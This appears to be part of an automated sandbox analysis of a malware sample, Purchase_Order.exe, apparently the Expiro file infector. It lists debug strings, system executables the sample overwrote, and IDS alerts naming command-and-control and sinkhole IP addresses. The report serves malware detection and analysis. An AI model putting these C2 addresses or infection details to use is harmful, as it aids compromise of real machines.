Source: Binary string: P:\Target\x86\ship\xdext\x-none\msoxmled.pdb source: Purchase_Order.exe, 00000001.00000003.644305213.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.643595874.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\javacplexec\obj\javacpl.pdb0 source: Purchase_Order.exe, 00000001.00000003.743152034.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\setup.pdb source: Purchase_Order.exe, 00000001.00000003.417339030.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\olicenseheartbeat.pdb source: Purchase_Order.exe, 00000001.00000003.665432985.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.666559573.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\javaw_objs\javaw.pdb source: Purchase_Order.exe, 00000001.00000003.676197496.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\mso\x-none\smarttaginstall.pdball.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.668020064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.667542276.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: Reader_SL.pdb..) source: Purchase_Order.exe, 00000001.00000003.516126566.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: Purchase_Order.exe, 00000001.00000003.761123290.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\klist_objs\klist.pdb source: Purchase_Order.exe, 00000001.00000003.752377274.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\sqm\x-none\msosqm.pdbsqm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.640806729.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: snmptrap.pdb source: Purchase_Order.exe, 00000001.00000003.335145812.0000000003DF0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.333123291.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateComRegisterShell64_unsigned.pdbS source: Purchase_Order.exe, 00000001.00000003.705062632.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\ses\x-none\oarpmany.pdbany.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x source: Purchase_Order.exe, 00000001.00000003.651158367.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\AcroBroker.pdb source: Purchase_Order.exe, 00000001.00000003.459984252.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\deployca\odeploy.pdbloy.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.658397315.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.656044699.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dwtrig20.pdbg20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004p source: Purchase_Order.exe, 00000001.00000003.619501064.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateComRegisterShell64_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.705062632.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\jp2launcher\obj\jp2launcher.pdb source: Purchase_Order.exe, 00000001.00000003.748666610.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: Purchase_Order.exe, 00000001.00000003.506567462.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: msiexec.pdb source: Purchase_Order.exe, 00000001.00000003.310525958.0000000004A90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ServiceUpd_Acrobat\BuildResults\bin\Release\RNAServicesUpdater\RdrServicesUpdater.pdb source: Purchase_Order.exe, 00000001.00000003.394007740.00000000048C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: 6\ship\setupexe\x-none\setup.pdb source: Purchase_Order.exe, 00000001.00000003.417856509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\wxp\x-none\csisyncclient.pdbent.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.629783944.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ARM_Main\BuildResults\bin\Win32\Release\armsvc.pdb A source: Purchase_Order.exe, 00000001.00000003.269898188.0000000003E90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ADelRCP_Exec.pdb source: Purchase_Order.exe, 00000001.00000003.492138145.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ARM_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: Purchase_Order.exe, 00000001.00000003.269898188.0000000003E90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: eat.pdb source: Purchase_Order.exe, 00000001.00000003.665432985.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.666559573.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dw20.pdbw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000`= source: Purchase_Order.exe, 00000001.00000003.607540838.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ThunderFox.pdb source: AppLaunch.exe, 00000003.00000002.297345256.0000000009050000.00000004.08000000.00040000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: led.pdb source: Purchase_Order.exe, 00000001.00000003.644305213.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.427229509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.643595874.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.426700254.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: WmiApSrv.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.379022194.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateOnDemand_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.710069802.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\filters\x-none\fltldr.pdbldr.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.634329246.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x64\ship\xdext\x-none\msoxmled.pdbled.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000( source: Purchase_Order.exe, 00000001.00000003.427229509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: locator.pdb source: Purchase_Order.exe, 00000001.00000003.316389499.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dw20.pdbw20.pdb0000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.600971914.0000000001880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\sqm\x-none\msosqm.pdb source: Purchase_Order.exe, 00000001.00000003.640806729.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.641382460.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Eula.pdb source: Purchase_Order.exe, 00000001.00000003.503224284.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleCrashHandler64_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.697135152.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\javaw_objs\javaw.pdb0 source: Purchase_Order.exe, 00000001.00000003.676197496.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\TextExtractor.pdb555 source: Purchase_Order.exe, 00000001.00000003.487035926.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\delivery\x-none\ose.pdb source: Purchase_Order.exe, 00000001.00000003.416561745.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313410080.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.415241710.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.311842101.0000000004F80000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wbengine.pdb source: Purchase_Order.exe, 00000001.00000003.373276170.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\mso\x-none\smarttaginstall.pdb source: Purchase_Order.exe, 00000001.00000003.668020064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.667542276.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: all.pdb source: Purchase_Order.exe, 00000001.00000003.668020064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.667542276.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\rmid_objs\rmid.pdb source: Purchase_Order.exe, 00000001.00000003.759773337.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: tup.pdb source: Purchase_Order.exe, 00000001.00000003.663585045.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.660784191.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.417339030.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.417856509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: Reader_SL.pdb source: Purchase_Order.exe, 00000001.00000003.516126566.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: Purchase_Order.exe, 00000001.00000003.751130909.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: snmptrap.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.335145812.0000000003DF0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.333123291.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: msdtcexe.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.308135186.0000000004A30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: 64BitMAPIBroker.pdb source: Purchase_Order.exe, 00000001.00000003.514668898.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\jjs_objs\jjs.pdb source: Purchase_Order.exe, 00000001.00000003.746263657.0000000001600000.00000004.00001000.00020000.00000000.sdmp, jjs.exe.1.dr
Source: Binary string: GoogleUpdateCore_unsigned.pdbW source: Purchase_Order.exe, 00000001.00000003.707996379.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ARM_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: Purchase_Order.exe, 00000001.00000003.391349644.00000000048C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\olicenseheartbeat.pdbeat.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.665432985.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.666559573.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: Purchase_Order.exe, 00000001.00000003.762370196.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\jre-image\bin\javaws.pdb source: Purchase_Order.exe, 00000001.00000003.679340174.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: Purchase_Order.exe, 00000001.00000003.506567462.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\java_objs\java.pdb source: Purchase_Order.exe, 00000001.00000003.672859079.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: g20.pdb source: Purchase_Order.exe, 00000001.00000003.619501064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.617464391.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\ses\x-none\oarpmany.pdb source: Purchase_Order.exe, 00000001.00000003.646119900.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.651158367.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: lua.pdb source: Purchase_Order.exe, 00000001.00000003.635458782.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.636503334.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleCrashHandler64_unsigned.pdbm source: Purchase_Order.exe, 00000001.00000003.697135152.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: WmiApSrv.pdb source: Purchase_Order.exe, 00000001.00000003.379022194.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ldr.pdb source: Purchase_Order.exe, 00000001.00000003.631821112.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.634329246.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\ssvagent\obj\ssvagent.pdb source: Purchase_Order.exe, 00000001.00000003.764399849.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\jabswitch\jabswitch.pdb source: Purchase_Order.exe, 00000001.00000003.739297204.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: Purchase_Order.exe, 00000001.00000003.769297878.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: xbgmsvc.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.388077831.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dwtrig20.pdbg20.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.617464391.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ALG.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.276164697.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dw20.pdb source: Purchase_Order.exe, 00000001.00000003.600971914.0000000001880000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.607540838.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: Purchase_Order.exe, 00000001.00000003.302834771.0000000003F30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dwtrig20.pdb source: Purchase_Order.exe, 00000001.00000003.619501064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.617464391.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: locator.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.316389499.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\delivery\x-none\ose.pdbose.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P source: Purchase_Order.exe, 00000001.00000003.313410080.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\wxp\x-none\csisyncclient.pdbent.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000`" source: Purchase_Order.exe, 00000001.00000003.630878576.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wbengine.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.373276170.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\delivery\x-none\ose.pdbose.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.416561745.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.415241710.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.311842101.0000000004F80000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\liclua.pdblua.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.635458782.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.636503334.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\xdext\x-none\msoxmled.pdbled.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.643595874.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\sqm\x-none\msosqm.pdbsqm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000@&Z&d& source: Purchase_Order.exe, 00000001.00000003.641382460.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ServiceUpd_Acrobat\BuildResults\bin\Release\RNAServicesUpdater\RdrServicesUpdater.pdb,, source: Purchase_Order.exe, 00000001.00000003.394007740.00000000048C0000.00000004.00001000.00020000.00000000.sdmp

Spreading

barindex
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\VSSVC.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\wbengine.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\chrome_pwa_launcher.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\chrmstp.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\elevation_service.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\wbem\WmiApSrv.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\SearchIndexer.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\TieringEngineService.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Common Files\microsoft shared\OFFICE16\CMigrate.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\vds.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\alg.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\snmptrap.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\Spectrum.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\Locator.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\AgentService.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files (x86)\Common Files\microsoft shared\Source Engine\OSE.EXE Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\AppVClient.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\FXSSVC.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\xbgmsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\SysWOW64\perfhost.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\msiexec.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\notification_helper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\SensorDataService.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\msdtc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLED.EXE Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior

Networking

barindex
Source: Traffic Snort IDS: 2850851 ETPRO TROJAN Win32/Expiro.NDO CnC Activity 192.168.2.3:49683 -> 173.231.184.122:80
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.184.122:80 -> 192.168.2.3:49683
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 206.191.152.58:80 -> 192.168.2.3:49684
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.106.25:80 -> 192.168.2.3:49685
Source: Traffic Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.3:49687
Source: Traffic Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.3:49691
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 35.205.61.67:80 -> 192.168.2.3:49692
Source: Traffic Snort IDS: 2850851 ETPRO TROJAN Win32/Expiro.NDO CnC Activity 192.168.2.3:49711 -> 35.205.61.67:80
Source: Traffic Snort IDS: 2850851 ETPRO TROJAN Win32/Expiro.NDO CnC Activity 192.168.2.3:49725 -> 173.231.189.15:80
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.189.15:80 -> 192.168.2.3:49725
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.126.10:80 -> 192.168.2.3:49726
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.184.124:80 -> 192.168.2.3:49727
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 72.5.161.12:80 -> 192.168.2.3:49728
Source: Traffic Snort IDS: 2016803 ET TROJAN Known Sinkhole Response Header 167.99.35.88:80 -> 192.168.2.3:49729
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.235.76:80 -> 192.168.2.3:49730
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 199.21.76.77:80 -> 192.168.2.3:49731
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 72.251.233.245:80 -> 192.168.2.3:49735
